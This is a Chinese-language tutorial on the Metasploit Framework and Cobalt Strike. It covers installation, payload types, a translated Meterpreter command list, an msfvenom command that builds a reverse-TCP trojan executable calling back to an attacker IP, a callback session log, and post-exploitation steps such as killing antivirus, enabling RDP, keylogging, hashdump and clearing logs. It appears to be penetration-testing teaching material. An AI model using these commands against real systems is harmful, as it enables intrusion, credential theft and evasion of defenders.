
Metasploit Framework
本文最后更新于 2025-03-11,文章内容可能已经过时。
MSF (Metasploit Framework)
Metasploit Framework(MSF) 是一款开源安全漏洞检测工具。附带数千个已知的软件漏洞,并保持持续更新。Metasploit 可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以「可以黑掉整个宇宙」之名。刚开始的 Metasploit 是采用 Perl 语言编写的,但是再后来的新版中,改成了用 Ruby 语言编写的了
🎈安装 MSF
在 kali 中可以执行以下命令进行安装
sudo apt install metasploit-framework
🎈启动 MSF
使用以下命令即可启动 MSF
sudo msfconsole
各项说明
exploits
auxiliary
post
payloads
encoders
nops
evasion
info
利用模块
辅助模块
后渗透模块
攻击载荷
编码模块
空
免杀模块
查看模块信息
🎈MSF 初始化
方法一:连接简单(但只生效一次)
第一次使用 msfconsole
时会自动连接数据库
或者在 linux 图形化界面中点击左上角
-> 菜单第一次打开 Metasploit
会自动连接数据库
方法二:命令行初始化
sudo systemctl restart postgresql.service # 启动postgresql数据库
sudo msfconsole # 启动控制框架
msfdb init # 同步漏洞数据库
🪬msfconsole 控制框架
🎈基本命令
help # 帮助文档
option # 查看参数
set [参数] # 设置参数
search [模块] # 搜索模块
use [模块] # 使用模块
rum/exploit # 执行(漏洞利用)
🎈rum/exploit(漏洞利用)
rum/exploit 漏洞利用模块路径 (这里面有针对不同平台的 exploit)
/usr/share/metasploit-framework/modules/exploits
🎈playload(攻击载荷)
Payload:Payload 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在 Metasploit 中 Payload 是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了 Payload 在目标系统中的行为。
Shellcode:Shellcode 是 payload 中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode 通常用汇编语言编写。在大多数情况下,目标系统执行了 shellcode 这一组指令之后,才会提供一个命令行 shell。
playload 模块路径:
/usr/share/metasploit-framework/modules/payloads
-
Single
是一种完全独立的 Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于 Single Payload 是完全独立的,因此它们有可能会被类似 netcat 这样的非 metasploit 处理工具所捕捉到。
-
Stager
这种 Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的 Stager Payload 就是 reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口 (反向连接)。另一种常见的是 bind_tcp,它可以让目标系统开启一个 tcp 监听器,而攻击者随时可以与目标系统进行通信 (正向连接)。
-
Stage
是 Stager Payload 下的一种 Payload 组件,这种 Payload 可以提供更加高级的功能,而且没有大小限制。
使用方式:
#Single Payload的格式为:
<target>/ <single> 如:windows/powershell_bind_tcp
#Stager/Stage Payload的格式为:
<target>/ <stage> / <stager> 如:windows/meterpreter/reverse_tcp
meterpreter
Meterpreter 属于 stage payload,在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload。这种工具是基于「内存DLL注入
」理念实现的,它能够通过创建一个新进程并调用注入的 DLL
来让目标系统运行注入的 DLL
文件
🎈命令大全
Meterpreter > ?
==========================================
核心命令:
==========================================
命令 说明
------- ------------
? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话(用于 http/https)
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure (重新)协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静,然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道
==========================================
Stdapi:文件系统命令
==========================================
命令 说明
------- ------------
cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
==========================================
Stdapi:网络命令
==========================================
命令 说明
------- ------------
arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表
==========================================
Stdapi:系统命令
==========================================
命令 说明
------- ------------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 放入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如 OS
==========================================
Stdapi:用户界面命令
==========================================
命令 说明
------- ------------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件
==========================================
Stdapi:网络摄像头命令:
==========================================
命令 说明
------- ------------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流
==========================================
Stdapi:音频输出命令:
==========================================
命令 说明
------- ------------
play 在目标系统上播放波形音频文件 (.wav)
==========================================
Priv:权限提升命令:
==========================================
命令 说明
------- ------------
getsystem 尝试将您的权限提升到本地系统的权限。
==========================================
Priv:密码数据库命令:
==========================================
命令 说明
------- ------------
hashdump 转储 SAM 数据库的内容
==========================================
Priv:Timestomp 命令:
==========================================
命令 说明
------- ------------
timestomp 操作文件 MACE 属性
🎈msfvenom
功能:用于木马生成
🎈使用方式
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.201 lport=12345 -f exe -o /home/kali/Desktop/xxx.exe
lhost localhost本地地址(回连地址)
lport localport本地端口(回连端口)
🎈选项
-l 列出所有可用资源
-p 指定使用的 payload
-f 指定输出格式 (--list format 可以查看支持的格式)
-e 指定使用的 encoder
-a 指定 payload 目标框架 x86 x64
-platform 指定 payload 的目标平台
-b 指定规避字符集
-i 指定 payload 的编码次数
-x 指定一个自定义的可执行文件作为模板,并将 payload 嵌入其中
-k 保护模板程序的动作,注入的 payload 将作为一个新的进程运行
-o 生成的文件名称
🎈木马下放
木马下发可以有很多种方式,例如:近源
、远程(ftp、smb)
、钓鱼链接
等方式进行木马下放
🎈后渗透阶段
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.126.201:12345
[*] Sending stage (176198 bytes) to 192.168.126.148
[*] Meterpreter session 1 opened (192.168.126.201:12345 -> 192.168.126.148:49171) at 2025-01-17 22:19:34 -0500
meterpreter > sysinfo 查看系统信息
系统信息:sysinfo
检查是否是虚拟机: run post/windows/gather/checkvm
查看当前用户:getuid
关闭杀软:run killav
查看补丁:run post/windows/gather/enum_patches
开启远程连接rdp:run post/windows/manage/enable_rdp(需要较高权限)
查看工作目录:pwd
搜索C盘下所有txt文档:search -f *txt -d C:/
下载文件:download c:/software/phpstudy_pro/WWW/pikachu-master/test/yijuhua.txt /tmp
上传文件:upload /tmp/hello.txt ./
进入shell:shell
meterpreter > shell
C:\Users\Administrator\Desktop>chcp 65001
进程迁移
查看所有进程:ps
查看当前进程pid:getpid
进程迁移:migrate PID
CS (Cobalt Strike)
官网:Access denied | www.cobaltstrike.com used Cloudflare to restrict access
Cobalt strike 是一款 GU! 的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win.exe 木马生成,win.dl 木马生成,iava 木马生成,ofice 宏病毒生成,木马捆绑; 钓鱼攻击包括: 站点克隆,目标信息获取,iava 执行,浏览器自动攻击等等。
Cobalt strike: C/S 架构的商业渗透软件,适合多人进行团队协作,可模拟 APT 做模拟对抗,进行内网渗透。